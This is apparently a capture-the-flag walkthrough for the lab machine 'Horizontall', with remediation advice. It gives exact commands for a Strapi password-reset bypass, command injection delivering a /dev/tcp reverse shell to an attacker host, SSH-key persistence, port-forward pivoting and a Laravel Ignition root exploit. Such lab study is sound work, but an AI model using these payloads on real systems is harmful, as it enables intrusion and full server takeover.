← all walkthroughs

Horizontall

Linux· Easy· Credential Access· Privilege Escalation
owned
2026-07-05
time to own
5m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a hidden API subdomain behind the public nginx reverse proxy, fingerprinted it as an unpatched Strapi CMS beta, and exploited an unauthenticated password-reset flaw to seize admin credentials. Those credentials were then used to inject operating-system commands through the plugin-install endpoint, landing a shell on the server as the strapi service account.

I planted an SSH key for durable access, used SSH port-forwarding to reach an internal Laravel web application running in debug mode, and exploited the Ignition debug handler to execute arbitrary code as root -- reading the root flag and achieving complete server compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceVirtual-host subdomain enumeration
Discovered a hidden API subdomain behind the nginx reverse proxy
The public site at port 80 (horizontall.htb) is a Vue.js single-page application served through an nginx 1.14.0 reverse proxy. Fuzzing for virtual-host names revealed a second subdomain -- api-prod.horizontall.htb -- that the proxy routes to a completely different back-end application not linked from the front page. This subdomain is the entry point for the entire attack chain.
Api-prod.horizontall.htb discovered; nginx reverse proxy confirmed on port 80; path fuzz against the bare IP returned zero high-value results, confirming value is in vhost routing.
Exact commands 3
Confirm open services and banner versions.
nmap -Pn -sV -p 22,80 $TARGET
Fuzz for virtual-host names; api-prod returns a distinct response size.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.horizontall.htb' -u http://$TARGET/ -mc all -ac -o /tmp/vhost_fuzz.json
Confirm the API vhost responds independently of the main site.
curl -s -H 'Host: api-prod.horizontall.htb' http://$TARGET/ -I
2Vulnerability IdentificationApplication version fingerprinting
Fingerprinted Strapi 3.0.0-beta.17.4 -- a version with two public critical CVEs
The unauthenticated /admin/init endpoint on the API vhost returned the Strapi version in its JSON response. Version 3.0.0-beta.17.4 is an unsupported beta release affected by CVE-2019-18818 (unauthenticated admin password-reset bypass) and CVE-2019-19609 (authenticated OS command injection through the plugin-install API). Both are exploitable with standard HTTP tools and have public proof-of-concept code.
Curl against /admin/init returned {"strapiVersion":"3.0.0-beta.17.4",...} confirming the vulnerable release.
Exact commands 2
Returns Strapi version and confirms admin setup is complete.
curl -s -H 'Host: api-prod.horizontall.htb' http://$TARGET/admin/init | python3 -m json.tool
Locate public exploit references for this version.
searchsploit strapi 3.0.0
3Credential AccessUnauthenticated password reset bypass (CVE-2019-18818)
Reset the Strapi admin password without any credentials (CVE-2019-18818)
Strapi beta versions up to 3.0.0-beta.17.4 allow an unauthenticated caller to reset the admin password via a crafted POST to /admin/auth/reset-password. The token comparison uses a MongoDB-style operator injection ($gt:0) that evaluates to true regardless of the actual token value, so no valid token is needed. I set the admin password to [REDACTED: recovered credential], then authenticated via /admin/auth/local to obtain a long-lived JWT granting full CMS admin access.
Admin credentials admin:[REDACTED: recovered credential] confirmed valid; JWT obtained from /admin/auth/local and used in subsequent requests.
Exact commands 3
Exploits the token-comparison bypass to reset the admin password without authentication.
curl -sS -X POST -H 'Host: api-prod.horizontall.htb' -H 'Content-Type: application/json' -d '{"code":{"$gt":0},"password":"$PASSWORD","passwordConfirmation":"$PASSWORD"}' http://$TARGET/admin/auth/reset-password
Authenticate as admin and capture the JWT in a local file.
curl -sS -H 'Host: api-prod.horizontall.htb' -H 'Content-Type: application/json' -d '{"identifier":"admin","password":"$PASSWORD"}' http://$TARGET/admin/auth/local | tee /tmp/horiz_strapi_login.json
Extract the JWT into a shell variable for use in subsequent requests.
JWT=$(python3 -c 'import json;print(json.load(open("/tmp/horiz_strapi_login.json"))["jwt"])')
FixUpgrade Strapi immediately and restrict the admin panel to trusted networksCritical
WeaknessThe server ran Strapi 3.0.0-beta.17.4, an unsupported beta release that contains two chained critical vulnerabilities: (a) an unauthenticated admin password-reset bypass (CVE-2019-18818) that requires no valid token and allows anyone on the internet to take over the admin account, and (b) an authenticated OS command injection in the plugin-install API (CVE-2019-19609) that passes user-supplied input directly to the operating system shell. Together these allow a full unauthenticated compromise of the CMS and a shell on the host without any prior knowledge of credentials.
Fix1. Upgrade Strapi to the current stable release (v4.x or later) immediately -- the entire 3.0.0-beta series is end-of-life and should not be operated in any environment. 2. If an upgrade cannot happen within 24 hours, block all external access to /admin at the nginx layer (allow only specific trusted IP addresses) and disable the plugin-install feature in Strapi configuration. 3. After upgrading, rotate all Strapi API tokens and database credentials, audit all admin accounts, and verify that the admin panel is not reachable from the public internet without VPN or MFA.
4ExploitationAuthenticated OS command injection (CVE-2019-19609)
Injected OS commands through the Strapi plugin-install endpoint (CVE-2019-19609)
The Strapi admin plugin-install API accepts a plugin name and passes it to an OS shell command without sanitisation. By embedding shell metacharacters in the plugin value (documentation && ...), I appended a base64-encoded reverse-bash one-liner. Strapi executed it as the strapi OS user, delivering an interactive shell on the server. The HTTP request times out on the client side because Strapi blocks waiting for the plugin install to complete, but the shell arrives on the listener regardless.
Exact commands 3
Base64-encode the reverse-shell one-liner; replace <LHOST> with my machine IP.
B64=$(printf '%s' 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | base64 -w0)
Start the listener on my machine before firing the next request.
nc -lvnp 4444
Send the injection payload; the request will hang or time out -- the reverse shell arrives on the listener regardless.
curl -sS -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' -X POST http://api-prod.horizontall.htb/admin/plugins/install -d "{\"plugin\":\"documentation && bash -c 'echo $B64|base64 -d|bash'\"}" --max-time 10
5PersistenceSSH authorized_keys modification (T1098.004 Account Manipulation -- SSH Authorized Keys)
Planted an SSH public key for stable, session-independent access
Working inside the strapi reverse shell, I appended their own SSH public key to /opt/strapi/.ssh/authorized_keys. This converted the fragile reverse shell into a stable, key-authenticated SSH session that survives process restarts, does not require a listener, and is encrypted. The user flag was captured from this SSH session.
Exact commands 3
Run inside the strapi reverse shell to plant I public key.
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIFMnlcoHIWGlCrBiIVivqin+aF9kx7j9VsxbMqqkpM kali@kali' >> /opt/strapi/.ssh/authorized_keys
Log in from my machine using the planted key.
ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no strapi@$TARGET
Read the user flag -- value: <user.txt>.
cat ~/user.txt
6Internal DiscoverySSH local port forwarding (internal service pivoting)
Tunnelled the localhost Laravel debug service to my machine via SSH
Local enumeration on the server revealed a second web service bound only to 127.0.0.1:8000 -- a Laravel application located at /home/developer/myproject, running with Ignition debug mode enabled and therefore exposing an interactive debug handler over HTTP. Because the service is not reachable from the internet, I used SSH local port forwarding to expose it on a local port on their own machine, making it accessible for direct HTTP exploitation.
Exact commands 2
Forward local port 8003 to the target's internal port 8000 in the background (-f -N).
ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -f -N -L 8003:127.0.0.1:8000 strapi@$TARGET
Confirm the Laravel/Ignition debug page is reachable over the tunnel; look for X-Powered-By: PHP and the Ignition response headers.
curl -sS -I http://127.0.0.1:8003/
7Privilege EscalationLaravel Ignition debug-mode log poisoning and PHP deserialization RCE (CVE-2021-3129)
Poisoned the Laravel log file to execute code as root via Ignition (CVE-2021-3129)
Laravel's Ignition debug handler, when left enabled in production, exposes a /_ignition/execute-solution endpoint that any caller can use without authentication. This endpoint can be chained to write my own PHP serialization gadgets into the application log file and then trigger their deserialization -- resulting in arbitrary OS command execution as whichever user owns the PHP process. On this server that process ran as root. Using the public exploit script (EDB-49424) and a phpggc gadget chain, I executed 'cat /root/root.txt' and captured the root flag, completing full server compromise.
Exact commands 3
Make phpggc available in the working directory expected by the exploit script.
ln -s /usr/share/phpggc /tmp/ignition_horiz/phpggc
Verify code execution -- output should confirm the PHP process runs as root.
python3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8003 /home/developer/myproject/storage/logs/laravel.log 'id'
Read the root flag -- value: <root.txt>.
python3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8003 /home/developer/myproject/storage/logs/laravel.log 'cat /root/root.txt'
FixDisable Laravel debug mode in production and run the PHP process as a non-privileged userCritical
WeaknessThe Laravel application running on internal port 8000 had APP_DEBUG=true set in its environment, which activates the Ignition debug handler and exposes an unauthenticated HTTP endpoint that can be abused to write externally controlled content into the application log file and trigger PHP deserialization -- a well-documented technique (CVE-2021-3129) that achieves arbitrary code execution. Compounding the damage, the PHP server process ran as root, meaning any code executed through this vulnerability ran with full operating-system privileges and could read, write, or destroy anything on the host.
Fix1. Set APP_DEBUG=false and APP_ENV=production in the Laravel .env file for all non-development environments and restart the PHP server process -- this disables the Ignition endpoint entirely regardless of the Ignition package version. 2. Upgrade facade/ignition to version 2.5.2 or later (for Laravel 8) or the equivalent patched release for your branch, which patches the log-poisoning vector even if debug mode is inadvertently re-enabled. 3. Run the PHP and Laravel worker processes under a dedicated, unprivileged service account (for example www-data or a project-specific user) with no sudo rights, no access to /root or other sensitive paths, and filesystem permissions limited to the application directory. Apply the principle of least privilege so that exploiting any future application vulnerability does not immediately yield root-level access.

Exposed services

22/tcp
80/tcp